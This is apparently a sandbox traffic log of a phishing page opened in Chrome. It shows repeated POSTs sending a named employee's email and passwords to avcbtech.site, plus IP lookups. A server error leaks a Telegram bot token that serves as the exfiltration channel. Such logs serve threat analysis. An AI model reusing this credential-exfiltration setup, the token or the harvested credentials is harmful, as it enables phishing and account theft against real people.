2025-03-26 17:08:06 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:07 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:06 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92683f8788c35e86-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85615&min_rtt=85473&rtt_var=18244&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2815&recv_bytes=1121&delivery_rate=35584&cwnd=252&unsent_bytes=0&cid=f30976cd75b059a0&ts=242&x=0"
2025-03-26 17:08:07 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49753	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:06 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 60 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:06 UTC	60	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d 6b 74 41 61 6d 45 55 25 34 30 79 38 2a 4d 72 6c 55 Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=ktAamEU%40y8*MrlU
2025-03-26 17:08:22 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:06 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=c6de5626b303b0200151d5d8e0e3197c; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:08:22 UTC	898	IN	Data Raw: 33 33 66 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 66 69 6c 65 5f 67 65 74 5f 63 6f 6e 74 65 6e 74 73 28 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 37 37 39 33 30 36 34 39 30 30 3a 41 41 45 73 74 6b 75 43 75 61 6f 34 53 58 47 76 39 68 62 47 69 45 74 79 77 58 58 5f 67 39 6a 66 35 4b 73 2f 73 65 6e 64 4d 65 73 73 61 67 65 29 3a 20 66 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 73 74 72 65 61 6d 3a 20 48 54 54 50 20 72 65 71 75 65 73 74 20 66 61 69 6c 65 64 21 20 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 61 7a 76 69 78 74 62 61 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 6b 75 6b 2f 78 77 70 73 2e 70 68 70 3c 2f 62 Data Ascii: 33f<br /><b>Warning</b>: file_get_contents(https://api.telegram.org/bot7793064900:AAEstkuCuao4SXGv9hbGiEtywXX_g9jf5Ks/sendMessage): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request in <b>/home/azvixtba/public_html/kuk/xwps.php</b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49755	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:07 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:07 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:07 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92683f8a2cb18c45-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85394&min_rtt=85158&rtt_var=18191&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=961&delivery_rate=35881&cwnd=252&unsent_bytes=0&cid=6fb5de46a18499ce&ts=237&x=0"
2025-03-26 17:08:07 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49759	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:22 UTC	389	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:23 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:23 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:08:23 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49762	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:30 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 60 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:30 UTC	60	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d 6e 78 62 73 21 52 6f 25 33 46 25 37 43 42 25 37 44 Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=nxbs!Ro%3F%7CB%7D
2025-03-26 17:08:42 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:30 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=a3fb5e76cd47969f1e1a71754e1f8afa; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:08:42 UTC	60	IN	Data Raw: 33 31 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 49 6e 63 6f 72 72 65 63 74 20 70 61 73 73 77 6f 72 64 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 31{"status":"error","message":"Incorrect password"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49764	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:30 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:31 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:31 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9268401e8b80729f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85507&min_rtt=84919&rtt_var=18505&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1121&delivery_rate=35970&cwnd=252&unsent_bytes=0&cid=2571a6039b778dc3&ts=230&x=0"
2025-03-26 17:08:31 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49765	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:31 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:31 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:31 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926840211aeb80d3-EWR server-timing: cfL4;desc="?proto=TCP&rtt=84999&min_rtt=84979&rtt_var=17938&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=961&delivery_rate=35962&cwnd=252&unsent_bytes=0&cid=8f7c2ccb889b536a&ts=227&x=0"
2025-03-26 17:08:31 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49771	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:42 UTC	441	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
2025-03-26 17:08:42 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:42 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:08:42 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49773	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:54 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:54 UTC	43	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=
2025-03-26 17:08:55 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:54 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=e901b8d6756a85e410215d5c7cfac25d; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:08:55 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49775	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:54 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:55 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:55 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926840b46ab9f3ba-EWR server-timing: cfL4;desc="?proto=TCP&rtt=86872&min_rtt=86794&rtt_var=18428&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1121&delivery_rate=35115&cwnd=252&unsent_bytes=0&cid=9077bad591dcdede&ts=227&x=0"
2025-03-26 17:08:55 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49777	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:55 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:08:55 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:55 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926840b6fec84245-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85793&min_rtt=85773&rtt_var=18125&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=961&delivery_rate=35609&cwnd=252&unsent_bytes=0&cid=02ba65280ea98eb6&ts=255&x=0"
2025-03-26 17:08:55 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49776	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:08:55 UTC	441	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
2025-03-26 17:08:55 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:08:55 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:08:55 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49779	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:03 UTC	634	OUT	POST /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 43 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:03 UTC	43	OUT	Data Raw: 61 69 3d 72 65 62 65 63 63 61 2e 6b 61 72 70 69 6e 6f 73 25 34 30 6a 75 6e 6b 6c 65 73 73 66 6f 6f 64 73 2e 63 6f 6d 26 70 72 3d Data Ascii: ai=rebecca.karpinos%40junklessfoods.com&pr=
2025-03-26 17:09:03 UTC	559	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:03 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=8eb907b4df29fc2e1dca9ff8d9b82171; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-26 17:09:03 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49781	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:03 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:04 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:04 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926840ec2e8c1aea-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85486&min_rtt=85471&rtt_var=18055&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1121&delivery_rate=35741&cwnd=252&unsent_bytes=0&cid=b2e6f2040d417fdc&ts=236&x=0"
2025-03-26 17:09:04 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49783	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:04 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:09:04 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:04 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 926840eebc4e436a-EWR server-timing: cfL4;desc="?proto=TCP&rtt=84941&min_rtt=84926&rtt_var=17940&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2815&recv_bytes=961&delivery_rate=35969&cwnd=252&unsent_bytes=0&cid=1fcf585d4fc5b8a4&ts=246&x=0"
2025-03-26 17:09:04 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49782	104.168.138.190	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:09:04 UTC	441	OUT	GET /kuk/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
2025-03-26 17:09:04 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:09:04 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
